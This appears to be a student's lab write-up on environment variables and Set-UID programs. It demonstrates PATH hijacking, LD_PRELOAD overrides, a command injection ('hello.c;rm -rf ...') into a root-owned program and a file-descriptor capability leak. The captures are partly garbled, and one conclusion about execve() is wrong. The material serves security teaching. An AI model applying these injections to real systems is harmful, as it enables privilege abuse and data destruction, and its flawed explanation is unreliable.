2.1

```
ubuntu@ip-172-31-28-150:~$ env | grep PWD PWD=/home/ubuntu
```

env | grep PWD: to show PWD's environment variable

```
ubuntu@ip-172-31-28-150:~$ export PWD=/home ubuntu@ip-172-31-28-150:/home$ env | grep PWD=/home
```

Change the environment variables by using export command

```
ubuntu@ip-172-31-28-150:/home$ unset PWD ubuntu@ip-172-31-28-150:~$ env | grep PWD ubuntu@ip-172-31-28-150:~$ ■
```

Unset the environment variables

2.2

Step1

```
ubuntu@ip-172-31-28-150:~/lab1$ gcc myprintenv.c
ubuntu@ip-172-31-28-150:~/lab1$ ./a.out > child
```

Step2

```
ubuntu@ip-172-31-28-150:~/lab1$ ./a.out > parent
```

Step3

```
ubuntu@ip-172-31-28-150:~/lab1$ diff child parent ubuntu@ip-172-31-28-150:~/lab1$ ■
```

Conclusion: There is no difference between child and parent, so if a new process is created using fork() system call, the child process will inherits its parent process's environment variables.

2.3

Step1

```
ubuntu@ip-172-31-28-150:~/lab1$ gcc -o myenv myenv.c
ubuntu@ip-172-31-28-150:~/lab1$ ./myenv
ubuntu@ip-172-31-28-150:~/lab1$ ■
```

execve("/usr/bin/env", argv, NULL);

Because the 3rd argument is null, no environment variables passed

Step2

```
ubuntu@ip-172-31-28-150:~/lab1$ gcc -o myenv myenv.c ubuntu@ip-172-31-28-150:~/lab1$ ./myenv SHELL=/bin/bash PWD=/home/ubuntu/lab1 LOGNAME=ubuntu XDG_SESSION_TYPE=tty MOTD_SHOWN=pam HOME=/home/ubuntu LANG=C.UTF-8
```

execve("/usr/bin/env", argv, environ);

The 3rd argument is not null, so we can see the environment variables.

Step3

Conclusion: the 3rd argument of the execve() function can pass the environment variables from one process to another

2.4

Task4.c

```
#include <stdio.h>
#include <stdlib.h>
int main()

system("/usr/bin/env");
    return 0;
```

```
ubuntu@ip-172-31-28-150:~/lab1$ gcc -o task4 task4.c
ubuntu@ip-172-31-28-150:~/lab1$ ./task4
LESSOPEN=| /usr/bin/lesspipe %s
USER=ubuntu
SSH CLIENT=71.8.92.232 50536 22
XDG SESSION TYPE=tty
SHLVL=1
MOTD_SHOWN=pam
HOME=/home/ubuntu
OLDPWD=/home/ubuntu
SSH TTY=/dev/pts/0
DBUS_SESSION_BUS_ADDRESS=unix:path=/run/user/1000/bus
LOGNAME=ubuntu
     =./task4
XDG SESSION CLASS=user
TERM=xterm
XDG SESSION ID=571
PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/usr/bin:/usr/sbin:/usr/sbin:/usr/sbin:/usr/sbin:/usr/sbin:/usr/sbin:/usr/sbin:/usr/sbin:/usr/sbin:/usr/sbin:/usr/sbin:/usr/sbin:/usr/sbin:/usr/sbin:/usr/sbin:/usr/sbin:/usr/sbin:/usr/sbin:/usr/sbin:/usr/sbin:/usr/sbin:/usr/sbin:/usr/sbin:/usr/sbin:/usr/sbin:/usr/sbin:/usr/sbin:/usr/sbin:/usr/sbin:/usr/sbin:/usr/sbin:/usr/sbin:/usr/sbin:/usr/sbin:/usr/sbin:/usr/sbin:/usr/sbin:/usr/sbin:/usr/sbin:/usr/sbin:/usr/sbin:/usr/sbin:/usr/sbin:/usr/sbin:/usr/sbin:/usr/sbin:/usr/sbin:/usr/sbin:/usr/sbin:/usr/sbin:/usr/sbin:/usr/sbin:/usr/sbin:/usr/sbin:/usr/sbin:/usr/sbin:/usr/sbin:/usr/sbin:/usr/sbin:/usr/sbin:/usr/sbin:/usr/sbin:/usr/sbin:/usr/sbin:/usr/sbin:/usr/sbin:/usr/sbin:/usr/sbin:/usr/sbin:/usr/sbin:/usr/sbin:/usr/sbin:/usr/sbin:/usr/sbin:/usr/sbin:/usr/sbin:/usr/sbin:/usr/sbin:/usr/sbin:/usr/sbin:/usr/sbin:/usr/sbin:/usr/sbin:/usr/sbin:/usr/sbin:/usr/sbin:/usr/sbin:/usr/sbin:/usr/sbin:/usr/sbin:/usr/sbin:/usr/sbin:/usr/sbin:/usr/sbin:/usr/sbin:/usr/sbin:/usr/sbin:/usr/sbin:/usr/sbin:/usr/sbin:/usr/sbin:/usr/sbin:/usr/sbin:/usr/sbin:/usr/sbin:/usr/sbin:/usr/sbin:/usr/sbin:/usr/sbin:/usr/sbin:/usr/sbin:/usr/sbin:/usr/sbin:/usr/sbin:/usr/sbin:/usr/sbin:/usr/sbin:/usr/sbin:/usr/sbin:/usr/sbin:/usr/sbin:/usr/sbin:/usr/sbin:/usr/sbin:/usr/sbin:/usr/sbin:/usr/sbin:/usr/sbin:/usr/sbin:/usr/sbin:/usr/sbin:/usr/sbin:/usr/sbin:/usr/sbin:/usr/sbin:/usr/sbin:/usr/sbin:/usr/sbin:/usr/sbin:/usr/sbin:/usr/sbin:/usr/sbin:/usr/sbin:/usr/sbin:/usr/sbin:/usr/sbin:/usr/sbin:/usr/sbin:/usr/sbin:/usr/sbin:/usr/sbin:/usr/sbin:/usr/sbin:/usr/sbin:/usr/sbin:/usr/sbin:/usr/sbin:/usr/sbin:/usr/sbin:/usr/sbin:/usr/sbin:/usr/sbin:/usr/sbin:/usr/sbin:/usr/sbin:/usr/sbin:/usr/sbin:/usr/sbin:/usr/sbin:/usr/sbin:/usr/sbin:/usr/sbin:/usr/sbin:/usr/sbin:/usr/sbin:/usr/sbin:/usr/sbin:/usr/sbin:/usr/sbin:/usr/sbin:/usr/sbin:/usr/sbin:/usr/sbin:/usr/sbin:/usr/sbin:/usr/sbin:/usr/sbin:/usr/sbin:/usr/sbin:/usr/sbin:/usr/sbin:/usr/sbin:/usr/sbin:/usr/sbin:/usr/sbin:/usr/sbin:/usr/sbin:/usr/s
local/games:/snap/bin
XDG RUNTIME DIR=/run/user/1000
```

2.5

Step1

```
$ vi printenv.c
$ gcc -o printenv printenv.c
```

I set printenv.c as the file name

Step2

```
.$ sudo chown root printenv
.$ sudo chmod 4755 printenv
```

Change the printenv file as a Set-UID program

Step3

```
$ export PATH=./
$ export LD_LIBRARY_PATH=.
$ export name="yue"
$ ./printenv
```

```
SSH_CLIENT=71.14.28.70 22165 22

XDG_DATA_DIRS=/usr/local/share:/usr/share:/var/lib/snapd/desktop
PATH=./
DBUS_SESSION_BUS_ADDRESS=unix:path=/run/user/1000/bus
SSH_TTY=/dev/pts/0
OLDPWD=/home/ubuntu
name=yue
_=./printenv
ubuntu@ip-172-31-28-150:~/lab1$
```

Environment variables can be inherited by the Set-UID program's process from the user's process.

But the Set-UID program ignores the LD_LIBRARY_PATH environment variables when the EUID and RUID differ

2.6

```
ubuntu@ip-172-31-6-194:~/lab1$ gcc -o task6 task6.c ubuntu@ip-172-31-6-194:~/lab1$ ./task6 task6.c task6 task6.c
```

Create a task6.c file to execute Is command.

```
ubuntu@ip-172-31-6-194:~/lab1$ vi fake_ls.c
ubuntu@ip-172-31-6-194:~/lab1$ gcc -o ls fake_ls.c
ubuntu@ip-172-31-6-194:~/lab1$ ./ls
This is a fake ls
```

Then I create a fake Is.c file to print: This is a fake Is

The Is command is not original Is command

2.7

Step1

```
buntu@ip-172-31-28-6:~/lab1$ vi mylib.c
buntu@ip-172-31-28-6:~/lab1$ vi myprog.c
buntu@ip-172-31-28-6:~/lab1$ gcc -fPIC -g -c mylib.c
buntu@ip-172-31-28-6:~/lab1$ gcc -shared -o libmylib.so.1.0.1 mylib.o -lc
buntu@ip-172-31-28-6:~/lab1$ export LD_PRELOAD=./libmylib.so.1.0.1
```

Step2

```
ubuntu@ip-172-31-28-6:~/lab1$ gcc -o myprog myprog.c ubuntu@ip-172-31-28-6:~/lab1$ ./myprog I am not sleeping!
```

Run it as a normal user, sleep() function is not original function

```
ubuntu@ip-172-31-28-6:~/lab1$ sudo chown root myprog ubuntu@ip-172-31-28-6:~/lab1$ sudo chmod 4755 myprog ubuntu@ip-172-31-28-6:~/lab1$ ./myprog ubuntu@ip-172-31-28-6:~/lab1$ ■
```

Make myprog a Set-UID program, and run it as a normal user. It execute the sleep(1) function.

```
ubuntu@ip-172-31-28-6:~/lab1$ sudo su
root@ip-172-31-28-6:/home/ubuntu/lab1# export LD_PRELOAD=./libmylib.so.1.0.1
root@ip-172-31-28-6:/home/ubuntu/lab1# ./myprog
I am not sleeping!
root@ip-172-31-28-6:/home/ubuntu/lab1# ■
```

Export the environment variable again, and run it as a root user, sleep() function is not original function

```
root@ip-172-31-28-6:/home/ubuntu/lab1# exit
exit
ubuntu@ip-172-31-28-6:~/lab1$ sudo chown ubuntu myprog
ubuntu@ip-172-31-28-6:~/lab1$ export LD_PRELOAD=./libmylib.so.1.0.1
ubuntu@ip-172-31-28-6:~/lab1$ ./myprog
I am not sleeping!
ubuntu@ip-172-31-28-6:~/lab1$ ■
```

Make myprog a Set-UID Ubuntu program, and run it as a ubuntu user. Export the environment variable again. sleep() function is not original function.

Step3

```
ubuntu@ip-172-31-28-6:~/lab1$ cp /usr/bin/env ./myenv
```

```
ubuntu@ip-172-31-28-6:~/lab1$ sudo chown root myenv ubuntu@ip-172-31-28-6:~/lab1$ sudo chmod 4755 myenv ubuntu@ip-172-31-28-6:~/lab1$ export LD_PRELOAD=./libmylib.so.1.0.1 ubuntu@ip-172-31-28-6:~/lab1$ export LD_MYOWN="a value" ubuntu@ip-172-31-28-6:~/lab1$ env | grep LD_LD_PRELOAD=./libmylib.so.1.0.1 LD_MYOWN=a value

ubuntu@ip-172-31-28-6:~/lab1$ ./myenv | grep LD
```

```
ubuntu@ip-172-31-28-6:~/lab1$ ./myenv | grep LD_
LD_MYOWN=a value
```

Conclusion: It ignores the LD PRELOAD environment variables when the EUID and RUID differ

2.8

Step1

```
ubuntu@ip-172-31-28-6:~/lab1$ gcc -o catall catall.c

ubuntu@ip-172-31-28-6:~/lab1$ sudo chown root catall
ubuntu@ip-172-31-28-6:~/lab1$ sudo chmod 4755 catall
ubuntu@ip-172-31-28-6:~/lab1$ ./catall task6.c

#include<stdlib.h>
int main(){
system("ls");
return 0;
}
ubuntu@ip-172-31-28-6:~/lab1$ ■
```

```
ubuntu@ip-172-31-28-6:~/lab1$ sudo su root@ip-172-31-28-6:/home/ubuntu/lab1# mkdir room root@ip-172-31-28-6:/home/ubuntu/lab1# touch test.c root@ip-172-31-28-6:/home/ubuntu/lab1# cd room root@ip-172-31-28-6:/home/ubuntu/lab1/room# ls root@ip-172-31-28-6:/home/ubuntu/lab1/room# touch test.c root@ip-172-31-28-6:/home/ubuntu/lab1/room# ls test.c
```

I create a directory 'room' and a test.c file as a root user.

```
root@ip-172-31-28-6:/home/ubuntu/lab1/room# exit
exit
ubuntu@ip-172-31-28-6:~/lab1$ cd room
ubuntu@ip-172-31-28-6:~/lab1/room$ rm test.c
ERROR: ld.so: object './libmylib.so.1.0.1' from LD_PRELOAD cannot be preloaded
en shared object file): ignored.
rm: remove write-protected regular empty file 'test.c'? y
rm: cannot remove 'test.c': Permission denied
```

And then I try to remove the test.c file as Ubuntu user, failed.

```
ubuntu@ip-172-31-28-6:~/lab1$ sudo ln -sf /bin/zsh /bin/sh ubuntu@ip-172-31-28-6:~/lab1$ ls -ls /bin/sh 0 lrwxrwxrwx 1 root root 8 Sep 24 17:43 /bin/sh -> /bin/zsh ubuntu@ip-172-31-28-6:~/lab1$ ./catall "hello.c;rm -rf ./room/test.c" /bin/cat: hello.c: No such file or directory ubuntu@ip-172-31-28-6:~/lab1$ cd room ubuntu@ip-172-31-28-6:~/lab1/room$ ls ubuntu@ip-172-31-28-6:~/lab1/room$
```

I make /bin/sh point to /bin/zsh. Using ./catall command to remove ./room/test.c flie. Success.

```
ubuntu@ip-172-31-28-6:~/lab1$ gcc -o catall2 catall.c
ubuntu@ip-172-31-28-6:~/lab1$ sudo chown root catall2
ubuntu@ip-172-31-28-6:~/lab1$ sudo chmod 4755 catall2
ubuntu@ip-172-31-28-6:~/lab1$ ls
                                                 mylib.o myprog.c
                     libmylib.so.1.0.1 myenv
                                                                             test.c
catall.c fake ls.c ls
                                        mylib.c myprog
                                                                    task6.c
                                                          room
ubuntu@ip-172-31-28-6:~/lab1$ ./catall2 "hello.c;rm -rf ./room/test.c"
/bin/cat: 'hello.c;rm -rf ./room/test.c': No such file or directory
ubuntu@ip-172-31-28-6:~/lab1$ cd room
ubuntu@ip-172-31-28-6:~/lab1/room$ ls
test.c
```

I comment system(command), and uncomment execve(), and attack it again. It does not work.

Conclusion: The system(cmd) function executes the /bin/sh program first, and then asks this shell program to run the cmd command. But execve() function will fork() a child process, and the child process will not inherits the Set-UID privilege from parent process. So it can prevent our attack.

```
#include <stdio.h>
#include <stdlib.h>
#include <fcntl.h>
#include <unistd.h>
void main()
int fd;
char *v[2];
/* Assume that /etc/zzz is an important system file,
ssion 0644.
* Before running this program, you should create
* the file /etc/zzz first. */
fd = open("./room/zzz.txt", 0_RDWR | 0_APPEND);
if (fd == -1) |
printf("Cannot open ./room/zzz.text\n");
exit(0);
// Print out the file descriptor value
printf("fd is %d\n", fd);
// Permanently disable the privilege by making the
// effective uid the same as the real uid
setuid(getuid());
v[0] = "/bin/sh"; v[1] = 0;
execve(v[0], v, 0);
"cap_leak.c" [noeol] 25L, 652C
```

```
ubuntu@ip-172-31-28-6:~/lab1/room$ vi zzz.txt
ubuntu@ip-172-31-28-6:~/lab1/room$ sudo chown root zzz.txt
ubuntu@ip-172-31-28-6:~/lab1/room$ sudo chmod 0644 zzz.txt
ubuntu@ip-172-31-28-6:~/lab1/room$ ■
```

```
ubuntu@ip-172-31-28-6:~/lab1$ gcc -o cap_leak cap_leak.c ubuntu@ip-172-31-28-6:~/lab1$ sudo chown root cap_leak ubuntu@ip-172-31-28-6:~/lab1$ sudo chmod 4755 cap_leak ubuntu@ip-172-31-28-6:~/lab1$ ./cap_leak fd is 3
```

```
$ cat ./room/zzz.txt
aaaaa
$ echo bbbb > ./room/zzz.txt
zsh: permission denied: ./room/zzz.txt

$ echo bbbb>&3
$ cat ./room/zzz.txt
aaaaa
bbbb
$ \blacksquare
```

Because we don't close the file, so the file descriptor still can work. Thus we can use the file descriptor of zzz.txt to write to the ./room/zzz.txt file as a normal user.